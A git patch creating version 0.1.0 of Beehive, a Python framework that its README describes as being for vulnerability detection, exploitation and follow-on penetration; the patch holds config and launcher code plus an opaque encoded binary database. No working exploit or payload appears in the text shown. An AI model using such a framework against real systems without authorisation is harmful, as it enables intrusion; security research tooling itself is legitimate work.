From 348800f0f7ad53a6d14c68b31ea253c9263b63e1 Mon Sep 17 00:00:00 2001 From: evi1m0 Date: Thu, 9 Jul 2015 16:39:51 +0800 Subject: [PATCH] Beehive Version 0.1.0 --- .gitignore | 5 + README.md | 18 ++ SETTINGS.py | 28 +++ __init__.py | 0 beehive.py | 22 ++ hive.db | Bin 0 -> 175104 bytes menu.py | 591 +++++++++++++++++++++++++++++++++++++++++++++++ pocdb.json | 172 ++++++++++++++ requirements.txt | 6 + setup.py | 74 ++++++ 10 files changed, 916 insertions(+) create mode 100755 SETTINGS.py create mode 100755 __init__.py create mode 100755 beehive.py create mode 100644 hive.db create mode 100755 menu.py create mode 100644 pocdb.json create mode 100755 requirements.txt create mode 100755 setup.py diff --git a/.gitignore b/.gitignore index ba74660..c56bb97 100644 --- a/.gitignore +++ b/.gitignore @@ -55,3 +55,8 @@ docs/_build/ # PyBuilder target/ + +# Beehive +.DS_Store +pocs/ +tmp/ diff --git a/README.md b/README.md index 238a2ef..0126936 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,20 @@ # Beehive + +Beehive 是一款基于 Beebeeto-framework 的开源安全漏洞检测利用框架，安全研究人员可以通过使用它快速的进行漏洞挖掘、漏洞利用、后续渗透等工作。 + Beehive is an open-source vulnerability detection framework based on Beebeeto-framework. Security researcher can use it to find vulnerability, exploits, subsequent attacks, etc. + + +# Screenshots + +![http://docs.beebeeto.com/static/img/Screenshots_beehive_1.png](http://docs.beebeeto.com/static/img/Screenshots_beehive_1.png) + +# Documents + +- [http://docs.beebeeto.com/beehive/index.html](http://docs.beebeeto.com/beehive/index.html) + +# Developers + +- all@beebeeto.com +- win2000@unknown.com +- evi1m0.bat@gmail.com \ No newline at end of file diff --git a/SETTINGS.py b/SETTINGS.py new file mode 100755 index 0000000..54acfb8 --- /dev/null +++ b/SETTINGS.py @@ -0,0 +1,28 @@ +import os +import sys + + +BASE_DIR = os.path.abspath(os.path.join(os.path.abspath(__file__), + '..', + '..',)) + +BEESCAN_DIR = os.path.abspath(os.path.join(os.path.abspath(__file__), + '..',)) + +FRAMEWORK_DIR = os.path.abspath(os.path.join(BASE_DIR, + 'Beebeeto-framework',)) + +POC_DIR = os.path.abspath(os.path.join(BEESCAN_DIR, + 'pocs',)) + + +sys.path.extend([BASE_DIR, FRAMEWORK_DIR, POC_DIR]) + +VERSION = '0.1.0' + + +if __name__ == '__main__': + print BASE_DIR + print BEESCAN_DIR + print FRAMEWORK_DIR + print POC_DIR diff --git a/__init__.py b/__init__.py new file mode 100755 index 0000000..e69de29 diff --git a/beehive.py b/beehive.py new file mode 100755 index 0000000..0f2c76d --- /dev/null +++ b/beehive.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# coding: utf-8 +# site : www.beebeeto.com +# team : n0tr00t security + +import sys +import menu +import SETTINGS + +from lib.exception import * + +def checkPythonVersion(major=2, minorLowest=6): + if sys.version_info.major != major or \ + sys.version_info.minor < minorLowest: + errInfo = 'your python version is too low, version>=%d.%d.x '\ + 'is needed.' % (major, minorLowest) + raise BeeScanLaunchException(errInfo) + return True + +if __name__ == '__main__': + mm = menu.MainMenu() + mm.cmdloop() diff --git a/hive.db b/hive.db new file mode 100644 index 0000000000000000000000000000000000000000..864f1eb0ae55b926fb323311d34486fe47b15db7 GIT binary patch literal 175104 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 